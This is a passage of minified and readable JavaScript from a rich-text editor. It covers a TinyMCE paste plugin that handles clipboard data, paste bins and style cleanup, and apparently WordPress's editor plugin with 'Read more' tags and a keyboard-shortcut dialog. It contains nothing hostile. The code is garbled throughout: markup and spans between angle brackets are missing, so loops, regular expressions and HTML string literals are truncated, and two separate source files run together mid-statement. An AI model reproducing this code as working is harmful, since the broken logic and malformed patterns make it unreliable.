$/i])},createIdGenerator:function(t){var e=0;return function(){return t+e++}},isMsEdge:function(){return-1!==v.navigator.userAgent.indexOf(" Edge/")}};function S(e){var n,t;return t=[/^[IVXLMCD]{1,2}\.[ \u00a0]/,/^[ivxlmcd]{1,2}\.[ \u00a0]/,/^[a-z]{1,2}[\.\)][ \u00a0]/,/^[A-Z]{1,2}[\.\)][ \u00a0]/,/^[0-9]+\.[ \u00a0]/,/^[\u3007\u4e00\u4e8c\u4e09\u56db\u4e94\u516d\u4e03\u516b\u4e5d]+\.[ \u00a0]/,/^[\u58f1\u5f10\u53c2\u56db\u4f0d\u516d\u4e03\u516b\u4e5d\u62fe]+\.[ \u00a0]/],e=e.replace(/^[\u00a0 ]+/,""),b.each(t,function(t){if(t.test(e))return!(n=!0)}),n}function A(t){var i,a,u=1;function n(t){var e="";if(3===t.type)return t.value;if(t=t.firstChild)for(;e+=n(t),t=t.next;);return e}function s(t,e){if(3===t.type&&e.test(t.value))return t.value=t.value.replace(e,""),!1;if(t=t.firstChild)do{if(!s(t,e))return!1}while(t=t.next);return!0}function e(e,n,r){var o=e._listLevel||u;o!==u&&(o/gi,/]+id="?docs-internal-[^>]*>/gi,//gi,/<(!|script[^>]*>.*?<\/script(?=[>\s])|\/?(\?xml(:\w+)?|img|meta|link|style|\w:\w+)(?=[\s\/>]))[^>]*>/gi,[/<(\/?)s>/gi,"<$1strike>"],[/ /gi,"\xa0"],[/([\s\u00a0]*)<\/span>/gi,function(t,e){return 0')}),!0);var r,o,i},tt=function(t,e){var n,r;!1===g.isSmartPasteEnabled(t)?X(t,e):(n=t,r=e,b.each([J,Q,X],function(t){return!0!==t(n,r,X)}))},et=function(){},nt=function(t){return function(){return t}},rt=nt(!1),ot=nt(!0),it=function(){return at},at=(M=function(t){return t.isNone()},B={fold:function(t,e){return t()},is:rt,isSome:rt,isNone:ot,getOr:N=function(t){return t},getOrThunk:L=function(t){return t()},getOrDie:function(t){throw new Error(t||"error: getOrDie called on none.")},getOrNull:nt(null),getOrUndefined:nt(undefined),or:N,orThunk:L,map:it,each:et,bind:it,exists:rt,forall:ot,filter:it,equals:M,equals_:M,toArray:function(){return[]},toString:nt("none()")},Object.freeze&&Object.freeze(B),B),ut=function(n){var t=nt(n),e=function(){return o},r=function(t){return t(n)},o={fold:function(t,e){return e(n)},is:function(t){return n===t},isSome:ot,isNone:rt,getOr:t,getOrThunk:t,getOrDie:t,getOrNull:t,getOrUndefined:t,or:e,orThunk:e,map:function(t){return ut(t(n))},each:function(t){t(n)},bind:r,exists:r,forall:r,filter:function(t){return t(n)?o:at},toArray:function(){return[n]},toString:function(){return"some("+n+")"},equals:function(t){return t.is(n)},equals_:function(t,e){return t.fold(rt,function(t){return e(n,t)})}};return o},st={some:ut,none:it,from:function(t){return null===t||t===undefined?at:ut(t)}},ct=(H="function",function(t){return function(t){if(null===t)return"null";var e=typeof t;return"object"===e&&(Array.prototype.isPrototypeOf(t)||t.constructor&&"Array"===t.constructor.name)?"array":"object"===e&&(String.prototype.isPrototypeOf(t)||t.constructor&&"String"===t.constructor.name)?"string":e}(t)===H}),lt=Array.prototype.slice,ft=function(t,e){for(var n=t.length,r=new Array(n),o=0;o=a.length&&r(o)}))})})},Pt=function(t,e){return n=ft(t,e),_t(n,xt);var n},Tt=function(t,e,n){var r=n||w(e),o=G(t,f(e),r);!1===o.cancelled&&tt(t,o.content)},Dt=function(t,e){e=t.dom.encode(e).replace(/\r\n/g,"\n"),e=C(e,t.settings.forced_root_block,t.settings.forced_root_block_attrs),Tt(t,e,!1)},Ct=function(t){var e={};if(t){if(t.getData){var n=t.getData("Text");n&&0',!1)}else Tt(t,'',!1)}(e,t)})}),!0}return!1},It=function(t){return o.metaKeyPressed(t)&&86===t.keyCode||t.shiftKey&&45===t.keyCode},Ot=function(s,c,l){var e,f,d=(e=p(st.none()),{clear:function(){e.set(st.none())},set:function(t){e.set(st.some(t))},isSet:function(){return e.get().isSome()},on:function(t){e.get().each(t)}});function m(t,e,n,r){var o,i;kt(t,"text/html")?o=t["text/html"]:(o=c.getHtml(),r=r||w(o),c.isDefaultContent(o)&&(n=!0)),o=O.trimHtml(o),c.remove(),i=!1===r&&D(o),o.length&&!i||(n=!0),n&&(o=kt(t,"text/plain")&&i?t["text/plain"]:O.innerText(o)),c.isDefaultContent(o)?e||s.windowManager.alert("Please use Ctrl+V/Cmd+V keyboard shortcuts to paste contents."):n?Dt(s,o):Tt(s,o,r)}s.on("keydown",function(t){function e(t){It(t)&&!t.isDefaultPrevented()&&c.remove()}if(It(t)&&!t.isDefaultPrevented()){if((f=t.shiftKey&&86===t.keyCode)&&h.webkit&&-1!==v.navigator.userAgent.indexOf("Version/"))return;if(t.stopImmediatePropagation(),d.set(t),window.setTimeout(function(){d.clear()},100),h.ie&&f)return t.preventDefault(),void n(s,!0);c.remove(),c.create(),s.once("keyup",e),s.once("paste",function(){s.off("keyup",e)})}}),s.on("paste",function(t){var e,n,r,o=d.isSet(),i=(e=s,n=Ct(t.clipboardData||e.getDoc().dataTransfer),O.isMsEdge()?b.extend(n,{"text/html":""}):n),a="text"===l.get()||f,u=kt(i,x());f=!1,t.isDefaultPrevented()||(r=t.clipboardData,-1!==v.navigator.userAgent.indexOf("Android")&&r&&r.items&&0===r.items.length)?c.remove():Ft(i)||!Rt(s,t,c.getLastRng()||s.selection.getRng())?(o||t.preventDefault(),!h.ie||o&&!t.ieFake||kt(i,"text/html")||(c.create(),s.dom.bind(c.getEl(),"paste",function(t){t.stopPropagation()}),s.getDoc().execCommand("Paste",!1,null),i["text/html"]=c.getHtml()),kt(i,"text/html")?(t.preventDefault(),u||(u=w(i["text/html"])),m(i,o,a,u)):y.setEditorTimeout(s,function(){m(i,o,a,u)},0)):c.remove()})},St=function(t){return h.ie&&t.inline?v.document.body:t.getBody()},At=function(e,t,n){var r;St(r=e)!==r.getBody()&&e.dom.bind(t,"paste keyup",function(t){Lt(e,n)||e.fire("paste")})},jt=function(t){return t.dom.get("mcepastebin")},Mt=function(t,e){return e===t},Lt=function(t,e){var n,r=jt(t);return(n=r)&&"mcepastebin"===n.id&&Mt(e,r.innerHTML)},Nt=function(a){var u=p(null),s="%MCEPASTEBIN%";return{create:function(){return e=u,n=s,o=(t=a).dom,i=t.getBody(),e.set(t.selection.getRng()),r=t.dom.add(St(t),"div",{id:"mcepastebin","class":"mce-pastebin",contentEditable:!0,"data-mce-bogus":"all",style:"position: fixed; top: 50%; width: 10px; height: 10px; overflow: hidden; opacity: 0"},n),(h.ie||h.gecko)&&o.setStyle(r,"left","rtl"===o.getStyle(i,"direction",!0)?65535:-65535),o.bind(r,"beforedeactivate focusin focusout",function(t){t.stopPropagation()}),At(t,r,n),r.focus(),void t.selection.select(r,!0);var t,e,n,r,o,i},remove:function(){return function(t,e){if(jt(t)){for(var n=void 0,r=e.get();n=t.dom.get("mcepastebin");)t.dom.remove(n),t.dom.unbind(n);r&&t.selection.setRng(r)}e.set(null)}(a,u)},getEl:function(){return jt(a)},getHtml:function(){return function(n){var e,t,r,o,i,a=function(t,e){t.appendChild(e),n.dom.remove(e,!0)};for(t=b.grep(St(n).childNodes,function(t){return"mcepastebin"===t.id}),e=t.shift(),b.each(t,function(t){a(e,t)}),r=(o=n.dom.select("div[id=mcepastebin]",e)).length-1;0<=r;r--)i=n.dom.create("div"),e.insertBefore(i,o[r]),a(i,o[r]);return e?e.innerHTML:""}(a)},getLastRng:function(){return u.get()},isDefault:function(){return Lt(a,s)},isDefaultContent:function(t){return Mt(s,t)}}},Bt=function(n,t){var e=Nt(n);return n.on("preInit",function(){return Ot(a=n,e,t),void a.parser.addNodeFilter("img",function(t,e,n){var r,o=function(t){t.attr("data-mce-object")||u===h.transparentSrc||t.remove()};if(!a.settings.paste_data_images&&(r=n).data&&!0===r.data.paste)for(var i=t.length;i--;)(u=t[i].attributes.map.src)&&(0===u.indexOf("webkit-fake-url")?o(t[i]):a.settings.allow_html_data_urls||0!==u.indexOf("data:")||o(t[i]))});var a,u}),{pasteFormat:t,pasteHtml:function(t,e){return Tt(n,t,e)},pasteText:function(t){return Dt(n,t)},pasteImageData:function(t,e){return Rt(n,t,e)},getDataTransferItems:Ct,hasHtmlOrText:Ft,hasContentType:kt}},Ht=function(){},$t=function(t,e,n){if(r=t,!1!==h.iOS||r===undefined||"function"!=typeof r.setData||!0===O.isMsEdge())return!1;try{return t.clearData(),t.setData("text/html",e),t.setData("text/plain",n),t.setData(x(),e),!0}catch(o){return!1}var r},Wt=function(t,e,n,r){$t(t.clipboardData,e.html,e.text)?(t.preventDefault(),r()):n(e.html,r)},Ut=function(u){return function(t,e){var n=l(t),r=u.dom.create("div",{contenteditable:"false","data-mce-bogus":"all"}),o=u.dom.create("div",{contenteditable:"true"},n);u.dom.setStyles(r,{position:"fixed",top:"0",left:"-3000px",width:"1000px",overflow:"hidden"}),r.appendChild(o),u.dom.add(u.getBody(),r);var i=u.selection.getRng();o.focus();var a=u.dom.createRng();a.selectNodeContents(o),u.selection.setRng(a),setTimeout(function(){u.selection.setRng(i),r.parentNode.removeChild(r),e()},0)}},zt=function(t){return{html:t.selection.getContent({contextual:!0}),text:t.selection.getContent({format:"text"})}},Vt=function(t){return!t.selection.isCollapsed()||!!(e=t).dom.getParent(e.selection.getStart(),"td[data-mce-selected],th[data-mce-selected]",e.getBody());var e},Kt=function(t){var e,n;t.on("cut",(e=t,function(t){Vt(e)&&Wt(t,zt(e),Ut(e),function(){setTimeout(function(){e.execCommand("Delete")},0)})})),t.on("copy",(n=t,function(t){Vt(n)&&Wt(t,zt(n),Ut(n),Ht)}))},qt=tinymce.util.Tools.resolve("tinymce.dom.RangeUtils"),Gt=function(t,e){return qt.getCaretRangeFromPoint(e.clientX,e.clientY,t.getDoc())},Xt=function(t,e){t.focus(),t.selection.setRng(e)},Yt=function(a,u,s){g.shouldBlockDrop(a)&&a.on("dragend dragover draggesture dragdrop drop drag",function(t){t.preventDefault(),t.stopPropagation()}),g.shouldPasteDataImages(a)||a.on("drop",function(t){var e=t.dataTransfer;e&&e.files&&0 [\\s\\r\\n]+|
)*(<\\/?("+n.join("|")+")[^>]*>)(?:
 [\\s\\r\\n]+|
)*","g");return e=O.filter(e,[[r,"$1"]]),e=O.filter(e,[[/

/g,"

"],[/
/g," "],[/

/g,"
"]])}function te(t,e,n,r){if(r||n)return e;var c,o=g.getWebkitStyles(t);if(!1===g.shouldRemoveWebKitStyles(t)||"all"===o)return e;if(o&&(c=o.split(/[, ]/)),c){var l=t.dom,f=t.selection.getNode();e=e.replace(/(<[^>]+) style="([^"]*)"([^>]*>)/gi,function(t,e,n,r){var o=l.parseStyle(l.decode(n)),i={};if("none"===c)return e+r;for(var a=0;a]+) style="([^"]*)"([^>]*>)/gi,"$1$3");return e=e.replace(/(<[^>]+) data-mce-style="([^"]+)"([^>]*>)/gi,function(t,e,n,r){return e+' style="'+n+'"'+r})}function ee(n,t){n.$("a",t).find("font,u").each(function(t,e){n.dom.remove(e,!0)})}var ne=function(t){var e,n;h.webkit&&Jt(t,te),h.ie&&(Jt(t,Qt),n=ee,(e=t).on("PastePostProcess",function(t){n(e,t.node)}))},re=function(t,e,n){var r=n.control;r.active("text"===e.pasteFormat.get()),t.on("PastePlainTextToggle",function(t){r.active(t.state)})},oe=function(t,e){var n=function(r){for(var o=[],t=1;t/g,function(e,t){return''+n+''})),-1!==e.content.indexOf("\x3c!--nextpage--\x3e")&&(n=u("Page break"),e.content=e.content.replace(//g,''+n+'')),e.load&&"raw"!==e.format&&(e.content=r?o.editor.autop(e.content):e.content.replace(/-->\s+\s*/g, function( match, moretext ) { return '' + title + ''; }); } if ( event.content.indexOf( '' ) !== -1 ) { title = __( 'Page break' ); event.content = event.content.replace( //g, '' ); } if ( event.load && event.format !== 'raw' ) { if ( hasWpautop ) { event.content = wp.editor.autop( event.content ); } else { // Prevent creation of paragraphs out of multiple HTML comments. event.content = event.content.replace( /-->\s+'; } else if ( image.indexOf( 'data-wp-more="nextpage"' ) !== -1 ) { string = ''; } else if ( image.indexOf( 'data-wp-preserve' ) !== -1 ) { if ( match = image.match( / data-wp-preserve="([^"]+)"/ ) ) { string = decodeURIComponent( match[1] ); } } return string || image; }); } }); // Display the tag name instead of img in element path. editor.on( 'ResolveName', function( event ) { var attr; if ( event.target.nodeName === 'IMG' && ( attr = editor.dom.getAttrib( event.target, 'data-wp-more' ) ) ) { event.name = attr; } }); // Register commands. editor.addCommand( 'WP_More', function( tag ) { var parent, html, title, classname = 'wp-more-tag', dom = editor.dom, node = editor.selection.getNode(), rootNode = editor.getBody(); tag = tag || 'more'; classname += ' mce-wp-' + tag; title = tag === 'more' ? 'Read more...' : 'Next page'; title = __( title ); html = '' + title + ''; // Most common case. if ( node === rootNode || ( node.nodeName === 'P' && node.parentNode === rootNode ) ) { editor.insertContent( html ); return; } // Get the top level parent node. parent = dom.getParent( node, function( found ) { if ( found.parentNode && found.parentNode === rootNode ) { return true; } return false; }, editor.getBody() ); if ( parent ) { if ( parent.nodeName === 'P' ) { parent.appendChild( dom.create( 'p', null, html ).firstChild ); } else { dom.insertAfter( dom.create( 'p', null, html ), parent ); } editor.nodeChanged(); } }); editor.addCommand( 'WP_Code', function() { editor.formatter.toggle('code'); }); editor.addCommand( 'WP_Page', function() { editor.execCommand( 'WP_More', 'nextpage' ); }); editor.addCommand( 'WP_Help', function() { var access = tinymce.Env.mac ? __( 'Ctrl + Alt + letter:' ) : __( 'Shift + Alt + letter:' ), meta = tinymce.Env.mac ? __( '⌘ + letter:' ) : __( 'Ctrl + letter:' ), table1 = [], table2 = [], row1 = {}, row2 = {}, i1 = 0, i2 = 0, labels = editor.settings.wp_shortcut_labels, header, html, dialog, $wrap; if ( ! labels ) { return; } function tr( row, columns ) { var out = ''; var i = 0; columns = columns || 1; each( row, function( text, key ) { out += '' + key + '' + __( text ) + ''; i++; }); while ( i < columns ) { out += ''; i++; } return out + ''; } each ( labels, function( label, name ) { var letter; if ( label.indexOf( 'meta' ) !== -1 ) { i1++; letter = label.replace( 'meta', '' ).toLowerCase(); if ( letter ) { row1[ letter ] = name; if ( i1 % 2 === 0 ) { table1.push( tr( row1, 2 ) ); row1 = {}; } } } else if ( label.indexOf( 'access' ) !== -1 ) { i2++; letter = label.replace( 'access', '' ).toLowerCase(); if ( letter ) { row2[ letter ] = name; if ( i2 % 2 === 0 ) { table2.push( tr( row2, 2 ) ); row2 = {}; } } } } ); // Add remaining single entries. if ( i1 % 2 > 0 ) { table1.push( tr( row1, 2 ) ); } if ( i2 % 2 > 0 ) { table2.push( tr( row2, 2 ) ); } header = [ __( 'Letter' ), __( 'Action' ), __( 'Letter' ), __( 'Action' ) ]; header = '' + header.join( '' ) + ''; html = '
'; // Main section, default and additional shortcuts. html = html + '

' + __( 'Default shortcuts,' ) + ' ' + meta + '

' + '' + header + table1.join('') + '
' + '

' + __( 'Additional shortcuts,' ) + ' ' + access + '

' + '' + header + table2.join('') + '
'; if ( editor.plugins.wptextpattern && ( ! tinymce.Env.ie || tinymce.Env.ie > 8 ) ) { // Text pattern section. html = html + '

' + __( 'When starting a new paragraph with one of these formatting shortcuts followed by a space, the formatting will be applied automatically. Press Backspace or Escape to undo.' ) + '

' + '' + tr({ '*': 'Bullet list', '1.': 'Numbered list' }) + tr({ '-': 'Bullet list', '1)': 'Numbered list' }) + '
'; html = html + '

' + __( 'The following formatting shortcuts are replaced when pressing Enter. Press Escape or the Undo button to undo.' ) + '

' + '' + tr({ '>': 'Blockquote' }) + tr({ '##': 'Heading 2' }) + tr({ '###': 'Heading 3' }) + tr({ '####': 'Heading 4' }) + tr({ '#####': 'Heading 5' }) + tr({ '######': 'Heading 6' }) + tr({ '---': 'Horizontal line' }) + '
'; } // Focus management section. html = html + '

' + __( 'Focus shortcuts:' ) + '

' + '' + tr({ 'Alt + F8': 'Inline toolbar (when an image, link or preview is selected)' }) + tr({ 'Alt + F9': 'Editor menu (when enabled)' }) + tr({ 'Alt + F10': 'Editor toolbar' }) + tr({ 'Alt + F11': 'Elements path' }) + '
' + '

' + __( 'To move focus to other buttons use Tab or the arrow keys. To return focus to the editor press Escape or use one of the buttons.' ) + '

'; html += '
'; dialog = editor.windowManager.open( { title: editor.settings.classic_block_editor ? 'Classic Block Keyboard Shortcuts' : 'Keyboard Shortcuts', items: { type: 'container', classes: 'wp-help', html: html }, buttons: { text: 'Close', onclick: 'close' } } ); if ( dialog.$el ) { dialog.$el.find( 'div[role="application"]' ).attr( 'role', 'document' ); $wrap = dialog.$el.find( '.mce-wp-help' ); if ( $wrap[0] ) { $wrap.attr( 'tabindex', '0' ); $wrap[0].focus(); $wrap.on( 'keydown', function( event ) { // Prevent use of: page up, page down, end, home, left arrow, up arrow, right arrow, down arrow // in the dialog keydown handler. if ( event.keyCode >= 33 && event.keyCode <= 40 ) { event.stopPropagation(); } }); } } } ); editor.addCommand( 'WP_Medialib', function() { if ( wp && wp.media && wp.media.editor ) { wp.media.editor.open( editor.id ); } }); // Register buttons. editor.addButton( 'wp_more', { tooltip: 'Insert Read More tag', onclick: function() { editor.execCommand( 'WP_More', 'more' ); } }); editor.addButton( 'wp_page', { tooltip: 'Page break', onclick: function() { editor.execCommand( 'WP_More', 'nextpage' ); } }); editor.addButton( 'wp_help', { tooltip: 'Keyboard Shortcuts', cmd: 'WP_Help' }); editor.addButton( 'wp_code', { tooltip: 'Code', cmd: 'WP_Code', stateSelector: 'code' }); // Insert->Add Media. if ( wp && wp.media && wp.media.editor ) { editor.addButton( 'wp_add_media', { tooltip: 'Add Media', icon: 'dashicon dashicons-admin-media', cmd: 'WP_Medialib' } ); editor.addMenuItem( 'add_media', { text: 'Add Media', icon: 'wp-media-library', context: 'insert', cmd: 'WP_Medialib' }); } // Insert "Read More...". editor.addMenuItem( 'wp_more', { text: 'Insert Read More tag', icon: 'wp_more', context: 'insert', onclick: function() { editor.execCommand( 'WP_More', 'more' ); } }); // Insert "Next Page". editor.addMenuItem( 'wp_page', { text: 'Page break', icon: 'wp_page', context: 'insert', onclick: function() { editor.execCommand( 'WP_More', 'nextpage' ); } }); editor.on( 'BeforeExecCommand', function(e) { if ( tinymce.Env.webkit && ( e.command === 'InsertUnorderedList' || e.command === 'InsertOrderedList' ) ) { if ( ! style ) { style = editor.dom.create( 'style', {'type': 'text/css'}, '#tinymce,#tinymce span,#tinymce li,#tinymce li>span,#tinymce p,#tinymce p>span{font:medium sans-serif;color:#000;line-height:normal;}'); } editor.getDoc().head.appendChild( style ); } }); editor.on( 'ExecCommand', function( e ) { if ( tinymce.Env.webkit && style && ( 'InsertUnorderedList' === e.command || 'InsertOrderedList' === e.command ) ) { editor.dom.remove( style ); } }); editor.on( 'init', function() { var env = tinymce.Env, bodyClass = ['mceContentBody'], // Back-compat for themes that use this in editor-style.css... doc = editor.getDoc(), dom = editor.dom; if ( env.iOS ) { dom.addClass( doc.documentElement, 'ios' ); } if ( editor.getParam( 'directionality' ) === 'rtl' ) { bodyClass.push('rtl'); dom.setAttrib( doc.documentElement, 'dir', 'rtl' ); } dom.setAttrib( doc.documentElement, 'lang', editor.getParam( 'wp_lang_attr' ) ); if ( env.ie ) { if ( parseInt( env.ie, 10 ) === 9 ) { bodyClass.push('ie9'); } else if ( parseInt( env.ie, 10 ) === 8 ) { bodyClass.push('ie8'); } else if ( env.ie < 8 ) { bodyClass.push('ie7'); } } else if ( env.webkit ) { bodyClass.push('webkit'); } bodyClass.push('wp-editor'); each( bodyClass, function( cls ) { if ( cls ) { dom.addClass( doc.body, cls ); } }); // Remove invalid parent paragraphs when inserting HTML. editor.on( 'BeforeSetContent', function( event ) { if ( event.content ) { event.content = event.content.replace( /

\s*<(p|div|ul|ol|dl|table|blockquote|h[1-6]|fieldset|pre)( [^>]*)?>/gi, '<$1$2>' ) .replace( /<\/(p|div|ul|ol|dl|table|blockquote|h[1-6]|fieldset|pre)>\s*<\/p>/gi, '' ); } }); if ( $ ) { // Run on DOM ready. Otherwise TinyMCE may initialize earlier and handlers attached // on DOM ready of after the `tinymce.init()` call may not get triggered. $( function() { $( document ).triggerHandler( 'tinymce-editor-init', [editor] ); }); } if ( window.tinyMCEPreInit && window.tinyMCEPreInit.dragDropUpload ) { dom.bind( doc, 'dragstart dragend dragover drop', function( event ) { if ( $ ) { // Trigger the jQuery handlers. $( document ).trigger( new $.Event( event ) ); } }); } if ( editor.getParam( 'wp_paste_filters', true ) ) { editor.on( 'PastePreProcess', function( event ) { // Remove trailing
added by WebKit browsers to the clipboard. event.content = event.content.replace( /
/gi, '' ); // In WebKit this is handled by removeWebKitStyles(). if ( ! tinymce.Env.webkit ) { // Remove all inline styles. event.content = event.content.replace( /(<[^>]+) style="[^"]*"([^>]*>)/gi, '$1$2' ); // Put back the internal styles. event.content = event.content.replace(/(<[^>]+) data-mce-style=([^>]+>)/gi, '$1 style=$2' ); } }); editor.on( 'PastePostProcess', function( event ) { // Remove empty paragraphs. editor.$( 'p', event.node ).each( function( i, node ) { if ( dom.isEmpty( node ) ) { dom.remove( node ); } }); if ( tinymce.isIE ) { editor.$( 'a', event.node ).find( 'font, u' ).each( function( i, node ) { dom.remove( node, true ); }); } }); } }); editor.on( 'SaveContent', function( event ) { // If editor is hidden, we just want the textarea's value to be saved. if ( ! editor.inline && editor.isHidden() ) { event.content = event.element.value; return; } // Keep empty paragraphs :( event.content = event.content.replace( /

(?:
|\u00a0|\uFEFF| )*<\/p>/g, '

 

' ); if ( hasWpautop ) { event.content = wp.editor.removep( event.content ); } else { // Restore formatting of block boundaries. event.content = event.content.replace( /-->\s*\n\n